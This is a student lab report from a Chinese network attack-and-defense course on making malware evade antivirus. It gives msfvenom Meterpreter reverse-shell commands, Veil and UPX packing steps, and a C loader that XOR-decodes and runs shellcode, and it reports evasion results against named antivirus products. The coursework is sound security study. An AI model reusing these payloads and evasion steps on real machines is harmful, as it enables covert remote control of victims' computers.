20192406梁健 2021-2022-2 《网络与系统攻防技术》实验三实验报告
20192406梁健 2021-2022-2 《网络与系统攻防技术》实验三实验报告
1.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验过程
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- 正确使用msf编码器
无编码的exe文件
命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 -f exe > friend.exe
7次编码的exe文件
命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b '\x00' LHOST=192.168.192.128 LPORT=443 -f exe > friend.exe
- 使用msfvenom生成如jar文件
命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 -f jar > friend.jar
- 使用msfvenom生成如php文件
命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 x> friend.php
- 使用msfvenom生成如py文件
命令msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.192.128 PORT=443 -f py > friend.py
2)veil,加壳工具
- veil实现
veil生成happy.exe.bat
命令
veil
进入控制台输入
use 1
选择Evasion
输入
list
查看并选择生成程序输入
use powershell/meterpreter/rev_tcp.py
选择powershell语言设置LHOST
set LHOST 192.168.192.128
,LPORTset LPORT 1400
输入
generate
生成后门程序happy.exe.bat
veil生成20192406lj1.py
命令
输入
use python/meterpreter/rev_tcp.py
选择python语言设置LHOST
set LHOST 192.168.192.128
,选择默认LPORT=4444
输入
generate
生成后门程序20192406lj1.py
veil生成happy.exe
命令
输入
use c/meterpreter/rev_tcp.py
选择c语言设置LHOST
set LHOST 192.168.192.128
,选择默认LPORT=4444
输入
generate
生成后门程序happy.exe
- UPX加壳
命令upx happy.exe -o happypro.exe
3)使用C + shellcode编程
使用msf生成shellcode数组,命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=4445 -f c
新建20192406lj1.c,将数组写入程序。
编译C程序,得到20192406lj1.exe
检查识别情况
(2)通过组合应用各种技术实现恶意代码免杀
采用“C+Shellcode[异或]+UPX”实现免杀,msf生成Shellcode数组,将其以异或0x01
存储在C语言文件中,执行时再次异或0x01
使用,再加上UPX压缩壳。
命令:
生成shellcode数组:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=443 -f c
#20192406lj1.c
unsigned char buf[] ="\xfd\xe9\x8e\x1\x1\x1\x61\x30\xd3\x65\x8a\x53
......
\xd4";#异或0x01后的结果
int main()
{
int i;
for(i=0;i<sizeof(buf)-1;i++){buf[i] ^= 0x01;}
int (*func)() = (int(*)())buf;
func();
}
编译:
i686-w64-mingw32-g++ 20192406lj2.c -o 20192406lj2.exe
加UPX壳:
upx 20192406lj2.exe -o 20192406lj2_upx.exe
实验结果如下,可以实现反弹连接,腾讯电脑管家和联想杀毒Plus短时间内都内对其产生反应。但当执行多次后,终于被发现。
- 不使用[异或]方式
- 使用[异或方式]
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
修改虚拟机网络适配器为桥接模式,并选择宿主机局域网适配器。
生成恶意程序msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.103 lport=443 -f raw -o 201924061.raw
在网站上检测恶意程序
将恶意程序传入另一台windows电脑,并执行查看反弹连接和杀软情况,系统安全软件360杀毒5.0.0.8170版本。
3.问题及解决方案
-
问题1:在教学楼无法下载wine32
-
问题1解决方案:更换Kali软件源为官方源,并在宿舍网络下下载。
-
问题2:使用C+Shellcode的方法生成的程序无法进行反弹连接。
-
问题2解决方案:在此基础上加上UPX压缩壳就可以成功执行。
-
问题3:i686-w64-mingw32-g++编译的程序无法执行,提示缺少dll文件。
-
问题3解决方案:将linux文件中的dll传到win上mingw64/bin中即可。
回答问题
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
(2)免杀是做什么?
免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。
(3)免杀的基本方法有哪些?
- 加冷门壳
- 加花指令
- 改程序入口点
- 改木马文件特征码
- C+shellcode
4.学习感悟、思考等
通过本次实验我学到了很多免杀相关的知识,并在实践层面将所学内容付诸实现,实验的过程的时间主要花费在安装和搭建软件环境上。在实验中通过恶意代码生成软件生成了许多程序,并在网络平台检验其识别率,最主要的是通过veil和C+ShellCode方式实现免杀。实验中我最大的收获是想要真正实现免杀非常难,虽然生成的程序短时间不会被发现,但时间一长,使用次数一多就会被杀毒软件发现,尤其是exe格式的文件很容易被发现。只用使用陌生格式的文件才能安稳避免被杀软发现。网络攻防技术道阻且长,还需要更加深入地学习。